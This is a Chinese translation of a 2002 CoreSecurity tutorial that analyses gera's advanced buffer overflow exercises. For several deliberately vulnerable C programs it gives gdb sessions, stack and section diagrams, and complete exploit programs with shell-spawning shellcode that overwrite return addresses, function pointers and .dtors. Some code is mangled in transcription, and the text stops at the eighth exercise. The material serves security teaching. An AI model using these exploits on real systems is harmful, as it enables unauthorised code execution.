非安全编程演示之高级缓存区溢出(version1.2)
创建时间:2002-12-19
文章属性:翻译
文章来源: http://packetstormsecurity.nl/papers/general/core_vulnerabilities.pdf
文章提交: Ph4nt0m (axis_at_ph4nt0m.net)
题目:非安全编程演示之高级缓存区溢出
版本:1.2
更新:2002.12.13
版权所有: http://www.code-sec.com
翻译+整理 By 刺(ph4nt0m),cloie
来源:幻影旅团翻译组 http://www.3389.net/bbs
译者注:本文是alert7所翻译的《非安全编程演示之高级篇》的更新版本,加入了作者的很多分析。原作者为coresecurity team。我们尽可能翻译出作者的原意,不足或错误之处还请高手指点。在翻译过程中,感谢水木的hellguard,绿盟的warning3,以及好友d0nNy等的指导。
目录
简介
高级缓存区溢出代码1的分析
高级缓存区溢出代码2的分析
高级缓存区溢出代码3的分析
高级缓存区溢出代码4的分析
高级缓存区溢出代码5的分析
高级缓存区溢出代码6的分析
高级缓存区溢出代码7的分析
高级缓存区溢出代码8的分析
高级缓存区溢出代码9的分析
高级缓存区溢出代码10的分析
简介
CoreSecurity将在本文中,分析程序员在使用C编程过程中一些比较常见的错误。要讨论的就是高级缓存溢出(ABO),以十个具体例子说明(作者gera)。我们将指出这些程序中薄弱点的细节,为什么这些错误是危险的,并提供相应的exploit。所有测试均是在Linux Slackware 8.0 server(IA32),GNU GCC 2.95.3环境下。
我们假设读者都是精通C语言编程的,并知道基本的堆、栈溢出原理,GOT等。在本文中,我们将不提供关于任何关于这些的信息,如果不了解,请阅读本文最后相关的参考。
可以从 www.core-sec.com得到本文的升级,任何疑问请与我们联系:info@core-sec.com
高级缓存区溢出代码1的分析
源代码:
/*abo1.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced… */
int main(int argv,char **argc)
{
char buf[256];
strcpy(buf,argc[1]);
}
这是一个非常经典的堆栈溢出,我们将使用debugging来分析它。
user@CoreLabs:~/gera$ gcc abo1.c –o abo1 -ggdb
user@CoreLabs:~/gera$ gdb ./abo1
GNU gdb 5.0
……….
This GDB was configured as “i386-slackware-linux”…
(gdb) r `perl –e ‘printf “A” x 264’`
Starting program: /home/user/gera/abo1 `perl –e ‘printf “A” x 264’`
Program received signal SIGSEGV,Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0xbffff7ec - 1073743892
ecx 0xfffffd7c - 644
edx 0xbffffb78 - 1073742984
ebx 0x4012ba58 1074969176
esp 0xbffff8f4 0xbffff8f4
ebp 0x41414141 0x41414141
esi 0x40015d64 1073831268
edi 0xbffff954 - 1073743532
eip 0x41414141 0x41414141
eflags 0x10286 66182
(gdb) bt
# 0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
( gdb) q
The program is running. Exit anyway? ( y or n) y
user@ CoreLabs:~/ gera$
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
0xbfffffff ---> +--------------------------------------+
| 四个空字节 |
0xbfffffff ---> +--------------------------------------+
| 程序名 |
+--------------------------------------+
| shellcode |
shellcode的地址---> +--------------------------------------+ <---
| SHELL的环境变量和命令行参数保存区 | |
+--------------------------------------+ |
四个字节---> | 返回地址 | ----
+--------------------------------------+
四个字节---> | 保存的ESP |
+--------------------------------------+
| | Buf[256] | /|/
| | | |
| | AAAAAAAA | |
栈增长方向 | | AAAAAAAA | |缓存区溢出方向
| | AAAAAAAA | |
| | AAAAAAAA | |
| | AAAAAAAA | |
/|/ +--------------------------------------+
| |
首先函数返回地址被压进栈,然后是保存的ESP,再就是本地变量Buf[256],而我们的目标就是覆盖函数的返回地址。要想溢出必需要256+4+4=264字节的长度才能做到,在最后4个字节里要有shellcode的地址。但是shellcode的地址在不同环境下编译的程序是不同的,在linux下我们使用一个技巧,用一下公式来计算这个地址:
shellcode_addr=0xbffffffa-strlen(name_of_program)-strlen(shellcode)
下面是相应的exploit:
/*
** exp1. c
** Coded by CoreSecurity ¨C info@ core- sec. com
**/
# include < string. h>
# include < unistd. h>
# define BUFSIZE 264 + 1
/* 24 bytes shellcode */
char shellcode[]= "x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main( void) {
char * env[ 3] = {shellcode, NULL};
char evil_ buffer[ BUFSIZE];
char * p;
/* Calculating address of shellcode */
int ret=0xbffffffa-strlen( shellcode)-strlen("/ home/ user/ gera/ abo1");
/* Constructing the buffer */
p = evil_ buffer;
memset( p, ' A', 260); // Some junk
p += 260;
*(( void **) p) = ( void *) ( ret);
p += 4;
* p= '0';
execle("/ home/ user/ gera/ abo1", " abo1", evil_ buffer, NULL, env);
}
高级缓存区溢出代码2的分析
源代码:
/* abo2. c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think *
* and give you some help on the next one */
int main( int argv, char ** argc)
{
char buf[256];
strcpy(buf,argc[1]);
exit(1);
}
让我们再来调试一下这个程序,看看跟abo1有什么不一样。
user@ CoreLabs:~/ gera$ gcc abo2. c - o abo2 - ggdb
user@ CoreLabs:~/ gera$ gdb ./ abo2
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) r ` perl - e ' printf " A" x 264'`
Starting program: / home/ user/ gera/ abo2 ` perl - e ' printf " A" x 264'`
Program exited with code 01.
( gdb) disass main
Dump of assembler code for function main:
0x8048430 < main>: push % ebp
0x8048431 < main+ 1>: mov % esp,% ebp
0x8048433 < main+ 3>: sub $ 0x108,% esp
0x8048439 < main+ 9>: add $ 0xfffffff8,% esp
0x804843c < main+ 12>: mov 0xc(% ebp),% eax
0x804843f < main+ 15>: add $ 0x4,% eax
0x8048442 < main+ 18>: mov (% eax),% edx
0x8048444 < main+ 20>: push % edx
0x8048445 < main+ 21>: lea 0xffffff00(% ebp),% eax
0x804844b < main+ 27>: push % eax
0x804844c < main+ 28>: call 0x8048334 < strcpy>
0x8048451 < main+ 33>: add $ 0x10,% esp
0x8048454 < main+ 36>: add $ 0xfffffff4,% esp
0x8048457 < main+ 39>: push $ 0x1
0x8048459 < main+ 41>: call 0x8048324 < exit>
0x804845e < main+ 46>: add $ 0x10,% esp
0x8048461 < main+ 49>: leave
0x8048462 < main+ 50>: ret
End of assembler dump.
( gdb) q
尽管用足够长的字符串可以覆盖函数的返回地址,程序还是正常退出了。这是因为在strcpy()后调用了exit(),如果没有这个exit()call,程序将运行在0x8048461和0x8048462的指令,这些指令又去运行返回地址(被覆盖后的返回地址)指向的那些指令(shellcode)。然而有了这个exit()call,程序就终止了。
高级缓存区溢出代码3的分析
源代码:
/* abo3. c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* This'll prepare you for The Next Step */
int main(int argv, char ** argc)
{
extern system, puts;
void (* fn)(char*)=(void(*)(char*))& system;
char buf[256];
fn=(void(*)(char*))& puts;
strcpy(buf,argc[1]);
fn(argc[2]);
exit(1);
}
粗看,这个程序有点迷糊:)。它有两个字符串参数,第一个string被拷贝到缓冲,如果它长于256字节,就会覆盖一些东西,可以调试看看究竟覆盖了什么;第二个string被显示在标准输出里。下面是调试看第一个string:.
user@ CoreLabs:~/ gera$ gcc abo3. c - o abo3 - ggdb
user@ CoreLabs:~/ gera$ gdb ./ abo3
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
arewelcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) r ` perl - e ' printf " B" x 260'` A
Starting program: / home/ user/ gera/ abo3 ` perl - e ' printf " B" x 260'` A
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
( gdb) disass main
Dump of assembler code for function main:
0x8048490 < main>: push % ebp
0x8048491 < main+ 1>: mov % esp,% ebp
0x8048493 < main+ 3>: sub $ 0x114,% esp
0x8048499 < main+ 9>: push % ebx
0x804849a < main+ 10>: movl $ 0x804834c, 0xfffffffc(% ebp)
0x80484a1 < main+ 17>: movl $ 0x804835c, 0xfffffffc(% ebp)
0x80484a8 < main+ 24>: add $ 0xfffffff8,% esp
0x80484ab < main+ 27>: mov 0xc(% ebp),% eax
0x80484ae < main+ 30>: add $ 0x4,% eax
0x80484b1 < main+ 33>: mov (% eax),% edx
0x80484b3 < main+ 35>: push % edx
0x80484b4 < main+ 36>: lea 0xfffffefc(% ebp),% eax
0x80484ba < main+ 42>: push % eax
0x80484bb < main+ 43>: call 0x804839c < strcpy>
0x80484c0 < main+ 48>: add $ 0x10,% esp
0x80484c3 < main+ 51>: add $ 0xfffffff4,% esp
0x80484c6 < main+ 54>: mov 0xc(% ebp),% eax
0x80484c9 < main+ 57>: add $ 0x8,% eax
0x80484cc < main+ 60>: mov (% eax),% edx
0x80484ce < main+ 62>: push % edx
0x80484cf < main+ 63>: mov 0xfffffffc(% ebp),% ebx
0x80484d2 < main+ 66>: call *% ebx
0x80484d4 < main+ 68>: add $ 0x10,% esp
0x80484d7 < main+ 71>: add $ 0xfffffff4,% esp
0x80484da < main+ 74>: push $ 0x1
0x80484dc < main+ 76>: call 0x804838c < exit>
0x80484e1 < main+ 81>: add $ 0x10,% esp
0x80484e4 < main+ 84>: mov 0xfffffee8(% ebp),% ebx
0x80484ea < main+ 90>: leave
0x80484eb < main+ 91>: ret
End of assembler dump.
( gdb) q
The program is running. Exit anyway? ( y or n) y
user@ CoreLabs:~/ gera$
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
| |
+--------------------------------------+
四个字节---> | fn()函数地址 |
+--------------------------------------+
| | Buf[256] | /|/
| | | |
| | BBBBBBBB | |
栈增长方向 | | BBBBBBBB | |缓存区溢出方向
| | BBBBBBBB | |
| | BBBBBBBB | |
/|/ +--------------------------------------+
| |
为了成功地exploit这个程序,我们必须不让系统调用在0x080484dc 的exit(),可以从abo2中得到这个教训!因为函数fn()被压入栈中的0x080484a1,刚好在Buf[256]前面,它可以被覆盖并在0x080484d2运行,在系统调用exit()前。
这个exploit看起来跟exp1很像,有一个很重要的区别应该指出来,那就是函数的溢出地址并不是返回地址,而是在程序的运行流程中溢出了。
下面是相应的exploit:
/*
** exp3. c
** Coded by CoreSecurity-info@core-sec.com
**/
# include <string.h>
# include <unistd.h>
# define BUFSIZE 261
/* 24 bytes shellcode */
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main(void) {
char * env[3]=shellcode, NULL;
char evil_buffer[BUFSIZE];
char * p;
/* Calculating address of shellcode */
int ret=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo3");
/* Constructing the buffer */
p = evil_buffer;
memset( p,'B',256); // Some junk
p += 256;
*((void **)p)=(void *)(ret);
p +=4;
* p='0';
/* Two arguments are passed to vulnerable program */
execle("/home/user/gera/abo3","abo3", evil_buffer,"A",NULL,env);
}
高级缓存区溢出代码4的分析
源代码:
/* abo4. c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* After this one, the next is just an Eureka! away */
extern system, puts;
void (* fn)( char*)=( void(*)( char*))& system;
int main( int argv, char ** argc)
char * pbuf= malloc(strlen(argc[2])+1);
char buf[256];
fn=(void(*)(char*))& puts;
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
fn(argc[3]);
while(1);
从攻击者的角度,这个程序跟前面那个没什么不同,其实fn()的地址已经不再分配在栈里了,因为它在main()函数之前声明,所以它的地址现在被分配在.data区里了。
user@ CoreLabs:~/ gera$ gcc abo4. c - o abo4 - ggdb
abo4. c: In function ` main':
abo4. c: 10: warning: initialization makes pointer from integer without a
cast
user@ CoreLabs:~/ gera$ gdb ./ abo4
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
arewelcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) r ` perl - e ' printf " A" x 260'` BBBB CCCC
Starting program: / home/ user/ gera/ abo4 ` perl - e ' printf " A" x 260'` BB CC
Program received signal SIGSEGV, Segmentation fault.
strcpy ( dest= 0x41414141 < Address 0x41414141 out of bounds>, src= 0xbffffb6e
" BBBB") at ../ sysdeps/ generic/ strcpy. c: 40
40 ../ sysdeps/ generic/ strcpy. c: No such file or directory.
( gdb) disass main
Dump of assembler code for function main:
0x80484d0 < main>: push % ebp
0x80484d1 < main+ 1>: mov % esp,% ebp
0x80484d3 < main+ 3>: sub $ 0x114,% esp
0x80484d9 < main+ 9>: push % ebx
0x80484da < main+ 10>: add $ 0xfffffff4,% esp
0x80484dd < main+ 13>: add $ 0xfffffff4,% esp
0x80484e0 < main+ 16>: mov 0xc(% ebp),% eax
0x80484e3 < main+ 19>: add $ 0x8,% eax
0x80484e6 < main+ 22>: mov (% eax),% edx
0x80484e8 < main+ 24>: push % edx
0x80484e9 < main+ 25>: call 0x80483b4 < strlen>
0x80484ee < main+ 30>: add $ 0x10,% esp
0x80484f1 < main+ 33>: mov % eax,% eax
0x80484f3 < main+ 35>: lea 0x1(% eax),% edx
0x80484f6 < main+ 38>: push % edx
0x80484f7 < main+ 39>: call 0x8048394 < malloc>
0x80484fc < main+ 44>: add $ 0x10,% esp
0x80484ff < main+ 47>: mov % eax,% eax
0x8048501 < main+ 49>: mov % eax, 0xfffffffc(% ebp)
0x8048504 < main+ 52>: movl $ 0x8048384,0x80495cc
0x804850e < main+ 62>: add $ 0xfffffff8,% esp
0x8048511 < main+ 65>: mov 0xc(% ebp),% eax
0x8048514 < main+ 68>: add $ 0x4,% eax
0x8048517 < main+ 71>: mov (% eax),% edx
0x8048519 < main+ 73>: push % edx
0x804851a < main+ 74>: lea 0xfffffefc(% ebp),% eax
0x8048520 < main+ 80>: push % eax
0x8048521 < main+ 81>: call 0x80483d4 < strcpy>
0x8048526 < main+ 86>: add $ 0x10,% esp
0x8048529 < main+ 89>: add $ 0xfffffff8,% esp
0x804852c < main+ 92>: mov 0xc(% ebp),% eax
0x804852f < main+ 95>: add $ 0x8,% eax
0x8048532 < main+ 98>: mov (% eax),% edx
0x8048534 < main+ 100>: push % edx
0x8048535 < main+ 101>: mov 0xfffffffc(% ebp),% eax
0x8048538 < main+ 104>: push % eax
0x8048539 < main+ 105>: call 0x80483d4 < strcpy>
0x804853e < main+ 110>: add $ 0x10,% esp
0x8048541 < main+ 113>: add $ 0xfffffff4,% esp
0x8048544 < main+ 116>: mov 0xc(% ebp),% eax
0x8048547 < main+ 119>: add $ 0xc,% eax
0x804854a < main+ 122>: mov (% eax),% edx
0x804854c < main+ 124>: push % edx
0x804854d < main+ 125>: mov 0x80495cc,% ebx
0x8048553 < main+ 131>: call *% ebx
0x8048555 < main+ 133>: add $ 0x10,% esp
0x8048558 < main+ 136>: jmp 0x8048560 < main+ 144>
0x804855a < main+ 138>: jmp 0x8048562 < main+ 146>
0x804855c < main+ 140>: lea 0x0(% esi, 1),% esi
0x8048560 < main+ 144>: jmp 0x8048558 < main+ 136>
0x8048562 < main+ 146>: mov 0xfffffee8(% ebp),% ebx
0x8048568 < main+ 152>: leave
0x8048569 < main+ 153>: ret
End of assembler dump.
( gdb) main inf sec
Exec file: `/ home/ user/ gera/ abo4', file type elf32- i386.
[ Some part of output was removed. It?ˉs not needed anyway]
0x080482e4-> 0x080482ec at 0x000002e4: . rel. dyn
0x080482ec-> 0x0804832c at 0x000002ec: . rel. plt
0x0804832c-> 0x08048351 at 0x0000032c: . init
0x08048354-> 0x080483e4 at 0x00000354: . plt
0x080483f0-> 0x0804859c at 0x000003f0: . text
0x0804859c-> 0x080485b8 at 0x0000059c: . fini
0x080485b8-> 0x080485c0 at 0x000005b8: . rodata
0x080495c0-> 0x080495d0 at 0x000005c0: . data
0x080495d0-> 0x08049618 at 0x000005d0: . eh_ frame
0x08049618-> 0x080496e0 at 0x00000618: . dynamic
0x080496e0-> 0x080496e8 at 0x000006e0: . ctors
0x080496e8-> 0x080496f0 at 0x000006e8: . dtors
0x080496f0-> 0x08049720 at 0x000006f0: . got
0x08049720-> 0x08049738 at 0x00000720: . bss
[ Some part of output was removed. It?ˉs not needed anyway]
( gdb) x/ x 0x080495cc
0x80495cc < force_ to_ data>: 0x08048384
( gdb) x/ x 0x08048384
0x8048384 < puts>: 0x970425ff
( gdb)
0x8048388 < puts+ 4>: 0x10680804
( gdb)
0x804838c < puts+ 8>: 0xe9000000
( gdb) q
The program is running. Exit anyway? ( y or n) y
user@ CoreLabs:~/ gera$
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
0xbfffffff ---> +--------------------------------------+
| |
+--------------------------------------+ <--
| shellcode | |
+--------------------------------------+ |
| | |
+--------------------------------------+ |
--- | pbuf 的地址 | |
| +--------------------------------------+ |
| | Buf[256] | |
| | | |
| | AAAAAAAA | |
| | AAAAAAAA | |
栈(stack) | +--------------------------------------+ |
增长方向 | | | |
| |
| |
| | | |
| +--------------------------------------+ |
| | fu() | |
--->+--------------------------------------+ ---
| |
/|/ +--------------------------------------+
| | .fini |
| +--------------------------------------+
堆(heap)增长方向 | | .text |
| +--------------------------------------+
| | .plt |
| +--------------------------------------+
| |
0x08000000---> +--------------------------------------+
利用第一个strcpy()覆盖了指向pbuf(动态分配缓存区的)(它刚好在buf[256]前)的指针,这样攻击者就可以控制第二个strcpy(),拷贝第二个参数argc[2]中的数据到任何地方。一般他会选择覆盖函数fn()的地址0x080495cc,这里指向内存地址0x08048384处的puts(),攻击者可以在内存中修改让它指向shellcode。
下面是相应的exploit:
/*
** exp4. c
** Coded by CoreSecurity-info@core-sec.com
*/
# include <string.h>
# include <unistd.h>
# define BUFSIZE1 261
# define BUFSIZE2 5
# define FN_ADDRESS 0x080495cc /* Address of fn() */
/* 24 bytes shellcode */
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main(void) {
char evil_buffer1[BUFSIZE1];
char evil_buffer2[BUFSIZE2];
char * env[3]=shellcode,NULL;
char * p;
/* Calculating address of shellcode */
int ret=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo4");
/* Constructing first buffer */
p=evil_buffer1;
memset(p,'A',256); // Some junk
p +=256;
*((void **)p) = (void *) (FN_ADDRESS);
p +=4;
* p ='0';
/* Constructing second buffer */
p=evil_buffer2;
*((void **)p)=(void *)(ret);
p += 4;
* p ='0';
execle("/home/gera/user/abo4","abo4",evil_buffer1,evil_buffer2,"A",NULL,env);
}
高级缓存区溢出代码5的分析
源代码:
/* abo5. c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* You take the blue pill, you wake up in your bed, *
* and you believe what you want to believe *
* You take the red pill, *
* and I'll show you how deep goes the rabbit hole */
int main( int argv, char ** argc){
char * pbuf=malloc(strlen(argc[2])+1);
char buf[256];
strcpy(buf,argc[1]);
for (;* pbuf++=*(argc[2]++););
exit(1);
}
一个260字节可以覆盖 * pbuf,因此攻击者可以两个参数的strcpy()了。但是再覆盖什么呢?这个程序不像先前的那些有内部函数。可能的地址有三个:.dtors区地址,GOT(Global Offset Table,全局偏移表)里exit()的地址,GOT里__ deregister_ frame_ info的地址。三个都可以,GOT里的地址可以这样看:
user@ CoreLabs:~/ gera$ objdump - R ./ abo5
./ abo5: file format elf32- i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496c4 R_ 386_ GLOB_ DAT __ gmon_ start__
080496a8 R_ 386_ JUMP_ SLOT __ register_ frame_ info
080496ac R_ 386_ JUMP_ SLOT malloc
080496b0 R_ 386_ JUMP_ SLOT __ deregister_ frame_ info
080496b4 R_ 386_ JUMP_ SLOT strlen
080496b8 R_ 386_ JUMP_ SLOT __ libc_ start_ main
080496bc R_ 386_ JUMP_ SLOT exit
080496c0 R_ 386_ JUMP_ SLOT strcpy
user@ CoreLabs:~/ gera$
Address of . dtors sections that can be overwritten is:
user@ CoreLabs:~/ gera$ gdb ./ abo5
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) main inf sec
Exec file: `/ home/ user/ gera/ abo5', file type elf32- i386.
[ Some part of output was removed. It?ˉs not needed anyway]
0x08048308-> 0x0804832d at 0x00000308: . init
0x08048330-> 0x080483b0 at 0x00000330: . plt
0x080483b0-> 0x0804854c at 0x000003b0: . text
0x0804854c-> 0x08048568 at 0x0000054c: . fini
0x08048568-> 0x08048570 at 0x00000568: . rodata
0x08049570-> 0x0804957c at 0x00000570: . data
0x0804957c-> 0x080495c4 at 0x0000057c: . eh_ frame
0x080495c4-> 0x0804968c at 0x000005c4: . dynamic
0x0804968c-> 0x08049694 at 0x0000068c: . ctors
0x08049694-> 0x0804969c at 0x00000694: . dtors
0x0804969c-> 0x080496c8 at 0x0000069c: . got
0x080496c8-> 0x080496e0 at 0x000006c8: . bss
[ Some part of output was removed. It?ˉs not needed anyway]
( gdb) x/ x 0x08049694
0x8049694 <__ DTOR_ LIST__>: 0xffffffff
( gdb)
0x8049698 <__ DTOR_ END__>: 0x00000000
( gdb)
0x804969c <_ GLOBAL_ OFFSET_ TABLE_>: 0x080495c4
( gdb)
0x80496a0 <_ GLOBAL_ OFFSET_ TABLE_+ 4>: 0x0000000
( gdb) q
user@ CoreLabs:~/ gera$
我们感兴趣的覆盖地址是在.dtors单元里的0x08049698。
下面是相应的exploit:
/*
** exp5. c
** Coded by CoreSecurity-info@core-sec.com
*/
# include <string.h>
# include <unistd.h>
# define BUFSIZE1 261
# define BUFSIZE2 5
# define DTORS_ADDRESS 0x08049698 /* Address of . dtors section */
//# define DEREG_FRAME 0x080496b0 /* Address of __ deregister_ frame_ info
in GOT */
//# define EXIT_ADDRESS 0x080496bc /* Address of exit() entry in GOT */
/* 24 bytes shellcode */
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main( void)
{
char evil_buffer1[BUFSIZE1];
char evil_buffer2[BUFSIZE2];
char * env[3]=shellcode,NULL;
char * p;
/* Calculating address of shellcode */
int ret=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo5");
/* Constructing first buffer */
p=evil_buffer1;
memset(p,'A',256); // Some junk
p +=256;
*((void **)p)=(void *)(DTORS_ADDRESS);
p +=4;
* p ='0';
/* Constructing second buffer */
p=evil_buffer2;
*((void **)p)=(void *)(ret);
p +=4;
* p ='0';
execle("/home/user/gera/abo5","abo5",evil_buffer1,evil_buffer2,NULL,env);
}
高级缓存区溢出代码6的分析
源代码:
/* abo6.c *
* specially crafted to feed your brain by gera@core-sdi.com */
/* return to me my love */
int main(int argv, char ** argc) {
char * pbuf=malloc(strlen(argc[2])+ 1);
char buf[256];
strcpy(buf,argc[1]);
strcpy(pbuf,argc[2]);
while(1);
}
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.
(内存高址--0xbfffffff)
+--------------------------------------+
| ...... | ... 省略了一些我们不需要关心的区
+--------------------------------------+ <--
| Shellcode | |
+--------------------------------------+ |
| | |
| Some data | |
| | |
+--------------------------------------+ |
-- | addr. of pbuf | |
| +--------------------------------------+ |
| | buf[256] | |
| | | |
| | AAAAAAAA | | /|/
| | AAAAAAAA | | |
| | | | |
| +--------------------------------------+ | |(缓存区溢出方向)
| | | | |
| | Some data | | |
| | | | |
| +--------------------------------------+ |
| | Return Address | ---
| +--------------------------------------+
| | Saved Address |
| +--------------------------------------+
| | |
-->| |
| |
(内存低址)
与abo5.c非常相似,攻击者又一次的可以对第二个strcpy()函数取得完全控制,但是,他应该覆盖哪里呢?这个例子在第二个strcpy()函数后没有内部函数或系统函数(不可能覆盖GOT表入口)的调用,程序甚至不能退出—--while()循环使它永远执行下去(不可能覆盖.dtors).攻击者唯一的机会就是覆盖第二个strcpy()压栈后的返回地址(在buf[256]后确定).这样,程序将在返回地址执行攻击者的代码(往往是shellcode).这种技术也适用于上面的一些例子.因为返回地址在被调用函数的栈帧里,会随环境变量的数量而改变,所以更难实现.
译者注:
/*
具体你可以参考下面这幅图
(内存高址)
+--------------------------------------+
| ...... | ... 省略了一些我们不需要关心的区
+--------------------------------------+
| env strings (环境变量字串) | /
+--------------------------------------+ /
| argv strings (命令行字串) | /
+--------------------------------------+ /
| env pointers (环境变量指针) | SHELL的环境变量和命令行参数保存区
+--------------------------------------+ /
| argv pointers (命令行参数指针) | /
+--------------------------------------+ /
| argc (命令行参数个数) | /
+--------------------------------------+
| main 函数的栈帧 | /
+--------------------------------------+ /
| func_1 函数的栈帧 | /
+--------------------------------------+ /
| func_2 函数的栈帧 | /
+--------------------------------------+ /
| func_3 函数的栈帧 | Stack (栈)
+......................................+ /
| | /
...... /
| | /
+......................................+ /
| Heap (堆) | /
+--------------------------------------+
| Uninitialised (BSS) data | 非初始化数据(BSS)区
+--------------------------------------+
| Initialised data | 初始化数据区
+--------------------------------------+
| Text | 文本区
+--------------------------------------+
(内存低址)
*/
注意接下来的这个exploit也许需要修改(offset和Return Address).
下面是相应的exploit:
/*
** exp6.
** Coded by CoreSecurity-info@core-sec.com
*/
# include <string.h>
# include <unistd.h>
# define BUFSIZE1 261
# define BUFSIZE2 60 /* Offcet */
# define RETURN_ADDRESS 0xbffffc5c
/* 24 bytes shellcode */
char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
int main(void) {
char evil_buffer1[BUFSIZE1];
char evil_buffer2[BUFSIZE2];
char * env[3]={shellcode,NULL};
char * p;
int i=0;
/* Calculating address of shellcode */
int ret=0xbffffffa-strlen(shellcode)-strlen("/home/user/gera/abo6");
/* Constructing first buffer */
p=evil_buffer1;
memset(p,'A',256); // Some junk
p +=256;
*((void **)p) = (void *) (RETURN_ADDRESS);
p += 4;
* p ='0';
/* Constructing second buffer */
p =evil_buffer2;
for(i=0;i<BUFSIZE2/4;i++) {
*((void **) p) = (void *) (ret);
p += 4;
i++;
}
* p ='0';
execle("/home/user/gera/abo6","abo6",evil_buffer1,evil_buffer2,NULL, env);
}
高级缓存区溢出代码7的分析
源代码:
/* abo7. c *
* specially crafted to feed your brain by gera@ core- sdi. com */
/* sometimes you can, *
* sometimes you don't *
* that's what life's about */
char buf[256]={1};
int main(int argv, char ** argc) {
strcpy(buf, argc[1]);
}
这是一个heap overflow和覆盖.dtors区的典范.然而,却因为编译器的版本而不能成功溢出.debugging的结果是这样的:
user@ CoreLabs:~/ gera$ gcc abo7. c - o abo7 - ggdb
user@ CoreLabs:~/ gera$ gdb ./ abo7
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/ or distribute copies of it under certain
conditions.
Type " show copying" to see the conditions.
There is absolutely no warranty for GDB. Type " show warranty" for details.
This GDB was configured as " i386- slackware- linux"...
( gdb) main inf sec
Exec file: `/ home/ user/ gera/ abo7', file type elf32- i386.
[ Some part of output was removed. It??s not needed anyway]
0x08048298-> 0x080482bd at 0x00000298: . init
0x080482c0-> 0x08048310 at 0x000002c0: . plt
0x08048310-> 0x0804843c at 0x00000310: . text
0x0804843c-> 0x08048458 at 0x0000043c: . fini
0x08048458-> 0x08048460 at 0x00000458: . rodata
0x08049460-> 0x08049580 at 0x00000460: . data
0x08049580-> 0x080495c0 at 0x00000580: . eh_ frame
0x080495c0-> 0x08049688 at 0x000005c0: . dynamic
0x08049688-> 0x08049690 at 0x00000688: . ctors
0x08049690-> 0x08049698 at 0x00000690: . dtors
0x08049698-> 0x080496b8 at 0x00000698: . got
0x080496b8-> 0x080496d0 at 0x000006b8: . bss
[ Some part of output was removed. It’s not needed anyway]
( gdb) q
user@ CoreLabs:~/ gera$
由于buf[256]一开始就被初始化,所以它是保存在.data区的.攻击者的目的是要覆盖.dtors区.但是如果他这样做,他同样将会覆盖掉.dynamic区.而.dynamic区保存着程序中断的一些数据(动态链接信息),在读取.dtors前就要被程序读取,由于被覆盖了,发生段出错.攻击者针对这个程序将只能获得段错误.下面是用老版本的GCC编译这个程序时堆中的情况:
0x08048f88-> 0x08048fad at 0x00000f88: . init
0x08048fb0-> 0x08049420 at 0x00000fb0: . plt
0x08049420-> 0x0804f45c at 0x00001420: . text
0x0804f45c-> 0x0804f478 at 0x0000745c: . fini
0x0804f480-> 0x080523bc at 0x00007480: . rodata
0x080533bc-> 0x08053478 at 0x0000a3bc: . data
0x08053478-> 0x0805347c at 0x0000a478: . eh_ frame
0x0805347c-> 0x08053484 at 0x0000a47c: . ctors
0x08053484-> 0x0805348c at 0x0000a484: . dtors
0x0805348c-> 0x080535b8 at 0x0000a48c: . got
0x080535b8-> 0x08053660 at 0x0000a5b8: . dynamic
0x08053660-> 0x08053660 at 0x0000a660: . sbss
0x08053660-> 0x08053908 at 0x0000a660: . bss
正如你所见,.dynamic区现在在GOT之后.这种情况下攻击者将可以覆盖.eh_frame和.ctors(只在程序开始时重要)区,而且将溢出成功.
高级缓存区溢出代码8的分析
源代码:
/* abo8. c *
* specially crafted to feed your brain by gera@ core- sdi. com */
/* spot the difference */
char buf[256];
int main(int argv, char ** argc){
strcpy(buf,argc[1]);
}
